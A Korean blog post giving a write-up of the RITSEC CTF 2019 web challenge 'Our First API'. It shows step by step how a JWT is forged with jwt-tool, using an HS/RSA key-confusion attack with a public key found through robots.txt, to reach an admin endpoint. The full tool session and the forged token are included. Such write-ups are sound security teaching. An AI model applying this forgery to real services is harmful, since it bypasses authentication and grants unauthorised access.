일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 어셈블리어
- Next.js
- CodeEngn
- x64dbg
- HackCTF
- 버퍼오버플로우
- 리버싱
- BOF
- ctf
- RITSEC
- RITSEC CTF 2019
- reversing
- 리눅스
- 보안뉴스
- Nop Slide
- Hackerschool
- Python
- PWN
- writeup
- Shadow 동아리
- buffer over flow
- webhacking
- ftz
- SQL Injection
- NewsClipping
- termux
- 뉴스클리핑
- 웹해킹
- Linux
- requests
Archives
- Today
- Total
Jaeseo's Information Security Story
RITSEC CTF 2019 - WriteUp - Our First API 본문
Our First API
문제구분 | 난이도 | 작성자 |
---|---|---|
WEB | 중 | JaeseoKim |
문제 내용
문제 풀이
문제를 보면 2개의 사이트를 제공하고 있습니다. 일단 포트번호 4000번대로 들어가보면 아래와 같은 내용으로 되어 있는 것을 알 수 있습니다.
:3000/AUTH에서 토큰을 발급 받고 :4000/API/ADMIN, :4000/API/NORMAL에서 인증을 하여 Flag를 도출해야 하는 문제로 보입니다. 일단 :3000/AUTH에서 토큰을 발급 받습니다.
{"reason":"missing name parameter"}
접근을 하면 위와 같이 name 파라미터가 부족하다고 하는데 get 방식으로 파라미터를 넘겨봅니다.
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDMxMzA3Mn0.bJXapU4QJVV316YkDZ9gKRaJplQb7IrGR-O__R6CxWEgItZnKL0OX9yG7Ry57ICX3v377izt1ngLm6z97CpQCFQ_Iz-fgjMXQihvgZDtYv_uG3yJlYZ1aFC04qVOZ5Wk8o0uJkRVW-E6nB1Kj1ynBgEX3xFxkdb9VPL1DceOCXA"}
그러면 위와 같이 토큰 값을 발급해주는 것을 볼 수 있습니다.
이제 일단 이 토큰(JWT)을 가지고 :4000/AUTH/NORMAL에 대해 인증을 시도 합니다. 이때 JWT 토큰 전달을 위해 헤더에 추가하여 Foward 시킵니다.
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDMxMzA3Mn0.bJXapU4QJVV316YkDZ9gKRaJplQb7IrGR-O__R6CxWEgItZnKL0OX9yG7Ry57ICX3v377izt1ngLm6z97CpQCFQ_Iz-fgjMXQihvgZDtYv_uG3yJlYZ1aFC04qVOZ5Wk8o0uJkRVW-E6nB1Kj1ynBgEX3xFxkdb9VPL1DceOCXA
{"flag":"Congrats on authenticating! Too bad flags aren't for normal users !!"}
그러면 위와 같은 형태로 Flag를 반환 시켜 주는데 normal 유저의 권한으로는 ADMIN에 접근이 불가능하기 때문에 JWT를 수정 해야 합니다. 이때 :4000의 웹사이트에서 힌트를 발견할 수 있습니다.
</body>
<!-- Robots can help you with the api -->
</html>
User-agent: * Disallow: /signing.pem Disallow: /auth
3000/robots.txt 파일을 본 결과 signing.pem 이라는 인증서가 존재 하는 것을 볼 수 있습니다.
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBquzMGkZlJmZm4pYppxeDmsGd
8+9mOh5S9O7W7Gu5VByfl7i3JdCfGxRJdHscg6l321PeTXsXGZ7goHd4Xjv/FtKQ
DyoaKql4Kl692KKKN/9xA6tKdOYQbZvPqyRXUVOGdyZ12qFBOQzI7ox22YL3ul/3
nyiDR+p+JKbdVU6AWQIDAQAB
-----END PUBLIC KEY-----
이걸 가지고 JWT Crack을 시도 합니다. jwt-tool을 사용하였습니다.
$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$\
\__$$ |$$ | $\ $$ |\__$$ __| \__$$ __| $$ |
$$ |$$ |$$$\ $$ | $$ | $$ | $$$$$$\ $$$$$$\ $$ |
$$ |$$ $$ $$\$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ |
$$\ $$ |$$$$ _$$$$ | $$ | $$ |$$ / $$ |$$ / $$ |$$ |
$$ | $$ |$$$ / \$$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ |
\$$$$$$ |$$ / \$$ | $$ | $$ |\$$$$$$ |\$$$$$$ |$$ |
\______/ \__/ \__| \__|$$$$$$\__| \______/ \______/ \__|
Version 1.3 \______|
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = JWT
[+] alg = RS256
Token payload values:
[+] name = TeamMODU
[+] type = user
[+] iat = 1574313072 ==> TIMESTAMP = 2019-11-21 14:11:12 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
########################################################
# Options: #
# ==== TAMPERING ==== #
# 1: Tamper with JWT data (multiple signing options) #
# #
# ==== VULNERABILITIES ==== #
# 2: Check for the "none" algorithm vulnerability #
# 3: Check for HS/RSA key confusion vulnerability #
# 4: Check for JWKS key injection vulnerability #
# #
# ==== CRACKING/GUESSING ==== #
# 5: Check HS signature against a key (password) #
# 6: Check HS signature against key file #
# 7: Crack signature with supplied dictionary file #
# #
# ==== RSA KEY FUNCTIONS ==== #
# 8: Verify RSA signature against a Public Key #
# #
# 0: Quit #
########################################################
Please make a selection (1-6)
> 1
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] typ = JWT
[2] alg = RS256
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] name = TeamMODU
[2] type = user
[3] iat = 1574313072 ==> TIMESTAMP = 2019-11-21 14:11:12 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 2
Current value of type is: user
Please enter new value and hit ENTER
> admin
[1] name = TeamMODU
[2] type = admin
[3] iat = 1574313072 ==> TIMESTAMP = 2019-11-21 14:11:12 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature
Please select an option from above (1-5):
> 5
Please enter the key file's filename:
> aigning.pem
Loading key file...
File loaded: signing.pem
Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 3
Your new forged token:
[+] URL safe: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzQzMTMwNzJ9.3sXt0-pLrodns48GYocEiFyfttpbQcjOwhs06bMIiVEMc71kFStHox1n2d-rPg8kuBgHc8TGvKVPkhdQQzPp1Q
[+] Standard: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJuYW1lIjoiVGVhbU1PRFUiLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzQzMTMwNzJ9.3sXt0+pLrodns48GYocEiFyfttpbQcjOwhs06bMIiVEMc71kFStHox1n2d+rPg8kuBgHc8TGvKVPkhdQQzPp1Q
여기서 나온 token값을 이용해서 /AUTH/ADMIN에 전송을 하게 되면 아래와 같이 플래그를 출력해줍니다.
{"flag":"RITSEC{JWT_th1s_0ne_d0wn}"}
RITSEC{JWT_th1s_0ne_d0wn}
참고 포인트
- JWT
- jwt-tool
- robots.txt
'Write UP > RITSEC CTF 2019' 카테고리의 다른 글
RITSEC CTF 2019 - WriteUp - Uplink (0) | 2019.11.25 |
---|---|
RITSEC CTF 2019 - WriteUp - the_doge (0) | 2019.11.25 |
RITSEC CTF 2019 - WriteUp - Onion Layer Encoding (0) | 2019.11.25 |
RITSEC CTF 2019 - WriteUp - Hop By Hop (0) | 2019.11.25 |
RITSEC CTF 2019 - WriteUp - Crack me If You Can (0) | 2019.11.25 |
Comments